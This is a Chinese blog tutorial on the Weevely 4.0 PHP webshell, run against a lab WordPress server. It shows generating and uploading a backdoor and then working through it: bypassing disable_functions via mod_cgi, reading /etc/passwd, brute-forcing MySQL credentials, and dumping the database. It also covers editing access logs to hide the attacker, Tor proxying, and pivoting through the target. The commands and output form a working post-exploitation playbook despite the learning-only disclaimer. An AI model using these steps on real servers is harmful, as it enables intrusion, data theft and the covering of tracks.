【Kali】渗透利器 Weevely 4.0 ---Linux版本菜刀使用详解

说明:
本文相关内容仅作为学习使用,请勿用于任何商业用途,更不能用于任何违法行为!
本文为原创,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接和本声明。

  • 本文主要用途:为极客而生即将出版书籍中,有关维持访问章节的补充内容。所以本文没涉及到的一些用法,待书出版了可以来支持一下😜

1. 概述

  Weevely是一个专门为后渗透攻击设计的web shell,由于是用python语言编写的工具,因此支持跨平台可以在任何有python环境的系统上使用。从使用环境来看它在Linux系统中使用的频次要高一些,毕竟在Windows系统中被一款类似的工具(中国菜刀)所代替。其源代码依托于Github
  一般的使用情景是将weevely PHP代理(也称之为一句话木马)上传到目标WEB服务器,通过远程访问相关连接实现远程shell访问目标服务器。该代理是一个很小的多态PHP脚本,AV很难检测到它,并且HTTP请求中混淆了通信协议。它共有30多个模块,这些模块可以用来协助管理任务、访问维持、提供态势感知、提升权限、以及横向扩展到目标内网。

2. 安装

  首先使用git客户端进行克隆或者直接下载最新版本的快照,点击下载。Weevely可以在linux和Mac os中直接运行,因此下面分别介绍两款操作系统安装weevely的方法。

  • Linux
      以下安装过程作者仅在Ubuntu/Debian中且在python3环境中验证,首先安装python软件包管理器和yaml库,然后再进入到weevely目录中执行安装命令即可。
$ sudo apt-get install -y python3 python3-pip curl
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade
  • OS X
      在MAC中首先要求必须要有python3的环境,然后按照以下命令手动安装gnureadline这个python包,再进入到weevely目录中执行安装命令即可。
$ sudo pip3 install gnureadline
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade

3. 基础用法

3.1 获取帮助

  可以在weevely的安装目录中运行./weevely.py即可打印出它的帮助文档,以下所有有关weevely的演示均在Kali中进行。
3.1 weevely帮助信息

3.2 生成后门代理(木马)

  使用Weevely生成一个后门代理还是非常方便的,可以直接使用它的generate命令然后添加相关密码以及生成路径、文件名等选项即可直接生成。如下图所示,我们生成一个名为forgeek.php连接密码为mypassword的木马。
3.2 weevely生成后门代理

3.3 上传木马至目标主机

  目标主机我使用一台运行着Wordpress的Linux虚拟机来代替,使用的是由turnkeylinux提供的镜像。其中Kali linux地址为10.10.10.130,Wordpress服务器地址为10.10.10.143。
3.3 将后门代理上传至目标主机

3.4 连接木马

  使用weevely连接木马也非常方便,连接过程如下图所示:
3.4 使用weevely连接木马

3.5 连接后基础操作

3.5.1 获取webshell帮助信息

  在webshell中输入help即可获取帮助信息,这里会列出当前版本的webshell支持的所有功能。
3.5 获取webshell帮助信息
  在weevely的web shell中要使用某个模块,一般是在模块名称前面加":"来进行模块的执行。在相应模块后面加"-h"可以查看该模块的具体使用方法。

3.5.2 查看系统信息

  查看系统信息可以使用自带的模块"system_info",也可以在web shell中执行shell命令查看。

weevely> uname -a
Linux wordpress 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64 GNU/Linux

3.6 查看系统信息

3.5.3 枚举用户文件

  枚举用户目录下且有权限的文件,也可用来加载字典。这里我们可以通过":audit_filesystem -h",来查看都支持搜索哪些类型的用户文件。
3.7 枚举用户文件

3.5.4 查看PHP配置

  使用模块"audit.phpcof"即可查看目标服务器有关PHP的配置信息:
3.8 查看PHP相关配置信息

3.5.5 查看本机IP信息

www-data@wordpress:/var/www/wordpress $ :net_ifconfig 
+------+-----------------+
| eth0 | 10.10.10.143/24 |
| lo   | 127.0.0.1/8     |
+------+-----------------+
www-data@wordpress:/var/www/wordpress $ 

3.5.6 查看目标主机进程

3.9 查看目标主机本地进程

4. 高级用法

4.1 提权

  如果目标系统禁用了系统shell功能,那么可以使用weevely的"audit_disablefunctionsbypass"模块,通过"mod_cgi"和".htaccess"来绕过系统限制(这里相当于我们说的提权)。当我们使用该模块时,它会自动的执行相关检查,然后上传"mod_cgi"和".htaccess"脚本,最后在目标系统上运行伪系统shell。

在PHP中一般通过"disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system"
语句来做一些安全限制。

www-data@wordpress:/var/www/wordpress $:audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
  PID TTY          TIME CMD
24693 ?        00:00:00 apache2
24694 ?        00:00:00 apache2
24695 ?        00:00:00 apache2
24696 ?        00:00:00 apache2
24697 ?        00:00:00 apache2
24859 ?        00:00:00 acubu.ved
24864 ?        00:00:00 ps

CGI shell replacement $ quit
www-data@wordpress:/var/www/wordpress $

  为了避免每次运行时都要执行该安装过程,您可以直接运行带有"just-run"选项的指向正确 URL 的 shell 替换控制台。

www-data@wordpress:/var/www/wordpress $ :audit_disablefunctionbypass -just-run http://localhost/acubu.ved
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ whoami
www-data

CGI shell replacement $ 

  如果您已经获取到了系统权限的shell,那么在运行该脚本是weevely会提示一个错误信息:

www-data@wordpress:/var/www/wordpress $ :audit_disablefunctionbypass
Error, you can already execute system commands

4.2 绕过PHP长期运行限制

  默认情况下PHP具有时间限制,因此无法运行长时间的前台任务。 在php.ini中缺省的最长执行时间是30秒,这是由 php.ini 中的"max_execution_time"变量指定,如果运行较为繁重的工作那么服务器会在 30 秒后强行中止正在执行的程序。当我们要运行诸如find之类的长期运行任务时,使用weevely可能就会成为一个问题。那么这里可以借助"system_info"和"shell_php"这两个模块来绕开这个限制。

4.2.1 检查限制时间

  在weevely活动session中执行"system_info"模块,可以查看目标主机默认的时间限制是多少秒:

www-data@wordpress:/var/www/wordpress $ :system_info -info max_execution_time
30
www-data@wordpress:/var/www/wordpress $ 

4.2.2 设置参数绕过限制

  从以上执行结果可以看出,默认情况下系统会中断任何超过30秒的PHP任务。在这里我们使用"set_time_limit(0)"、"@ignore_user_abort(1)",和"ini_set(max_execution_time,0)",通过将这三个参数结合起来执行从而绕过这个限制。当然也可以通过设置修改shell_php模块的prefix_string来永久的绕过这个限制,从而保证整个session中预先设置这些调用并禁用时间限制。

www-data@wordpress:/var/www/wordpress $ :set shell_php.prefix_string @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);
shell_php.prefix_string = @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);
www-data@wordpress:/var/www/wordpress $ shell_php.prefix_string = @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);

4.1 绕过PHP超长时间限制

4.2.3 验证是否生效

4.2 验证是否绕过PHP时间限制

注:当PHP在安全模式下运行时,在运行时更改"max_execution_time"的参数不会有任何影响。

4.3 突破限制获取passwd

  如果目标PHP服务器设置了"disable_functions"参数,则可以阻止执行外部shell命令。这样可以避免类似"/etc/passwd"这样的敏感信息泄露,从而被攻击者利用里面的身份通过可执行文件或命令来提升本地权限。

 # 为了系统都安全一般建议开启如下所示内容
disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system and open_basedir = /var/www/html/

  如果我们的目标主机已开启上述防护,那么当我们获取到weevely的web shell后,我们没有权限去其他目录,更没有权限读取其他目录文件。

 ⚡ root@forgeek  ~  weevely http://10.10.10.143/forgeek.php mypassword

[+] weevely 4.0.1

[+] Target:	www-data@wordpress:/var/www/wordpress
[+] Session:	/root/.weevely/sessions/10.10.10.143/forgeek_1.session
[+] Shell:	System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@wordpress:/var/www/wordpress $ cat /etc/passwd
[-][download] File download failed, please check remote path and permissions

  这时weevely提供的"audit_etcpasswd"模块就派上用场了,通过参数"-h"可以查看相关帮助文档。
4.3 通过audit_etcpasswd绕过系统限制

4.4 暴力破解SQL用户凭证

4.4.1 说明

  4.4小节主要展示如何通过Weevely的web shell,暴力获取目标主机中SQL相关用户的凭证。暴力破解后如何对目标系统进行脱库,以及通过恢复数据库从而获取更重要的信息。为了安全起见,建议服务器配置以下信息:

disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system and open_basedir = /var/www/html/

4.4.2 查找SQL用户

  这里依然使用"audit_etcpasswd"模块进行用户枚举,通过"-real"参数枚举真实用户信息。
4.3 查看SQL真实用户信息

4.4.3 利用字典暴力破解

  通过4.4.2小节枚举出来的用户,再利用攻击机(Kali)本地的字典文件通过"bruteforce_sql"模块暴力破解,过程如下图所示:
4.4 利用bruteforce_sql模块暴力破解

4.4.4 通过sql_console连接数据库

  通过4.4.3小节暴力获取的用户名密码,利用"sql_console"模块即可连接目标服务器的mysql,过程如下图所示:
4.5 在webshell中连接数据库

4.4.5 通过sql_dump脱库

  对于任何一次web渗透,除了拿下目标服务器的权限以外,脱库也是很多攻击者

  • 备份数据库文件
www-data@wordpress:/var/www/wordpress $ :sql_dump -dbms mysql wordpress root password123
SQL dump saved to '/tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump'
 # 在Kali中验证数据库是否已经download
 ⚡ root@forgeek  ~  ll /tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump
-rw------- 1 root root 41K Aug 16 18:33 /tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump
  • 恢复数据库文件
    4.6 恢复数据库至本地mysql中

  • 查看数据库相关信息
    4.7 查看目标服务器相关信息
      至于怎么将数据库中的密文转换成明文,相信查看本篇文章的你应该有办法。

4.5 文件操作

  当获取到目标系统的weevely shell后,我们通过help可以查看文件相关的模块。通过这些文件操作模块,可以对目标服务器进行文件的打包、上传、下载、删除、在线修改、复制,还可以通过HTTPfs挂在远程文件系统。通过这些操作,不仅可以修改目标服务器上的源代码,还可以清除或修改我们的操作日志。比如将access.log中有关攻击机IP地址的信息删除,或者篡改日志中的时间戳等等。
4.8 文件操作相关模块

4.6 代理服务

4.6.1 通过代理访问目标

  weevely支持通过http、socks两种代理方式访问目标主机,也支持通过Tor匿名网络的方式访问目标主机。通过使用代理等方式访问目标主机,某种程度上可以做到匿名访问的效果。

  • 通过http访问
www-data@wordpress:/var/www/wordpress $ :set proxy http://10.10.10.128:8080
proxy = http://10.10.10.128:8080
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
10.10.10.128
  • 通过socks
www-data@wordpress:/var/www/wordpress $ :set proxy socks4://10.10.10.128:8090
proxy = socks4://10.10.10.128:8090
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
10.10.10.128
  • 通过Tor
www-data@wordpress:/var/www/wordpress $ :set proxy socks5://127.0.0.1:9050
proxy = socks5://127.0.0.1:8080
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
5.9.12.81

4.6.2 开启HTTP代理

  weevely除了可以使用代理访问目标主机外,还可以将目标主机网络作为代理服务器使用。将目标主机作为代理服务器后,从某种程度上我们可以伪装成目标主机在网络中活动。通过在weevely的webshell中执行"net_proxy"模块即可自动打开代理并映射到本地8080端口。
4.9 开启HTTP代理
  根据上述图片提示,我们需要设置代理后访问"http://weevely/"安装证书。这里我在Kali Linux中的Firefox浏览器,在FoxyProxy插件中新增一个weevely的代理并配置相关信息,然后开启代理。
4.10 配置FoxyProxy
  如果不按照提示安装CA证书,那么在访问https网站时会有如下提示:
4.11 未安装证书提示

posted @ 2020-08-16 20:31  为极客而生  阅读(3370)  评论(0编辑  收藏  举报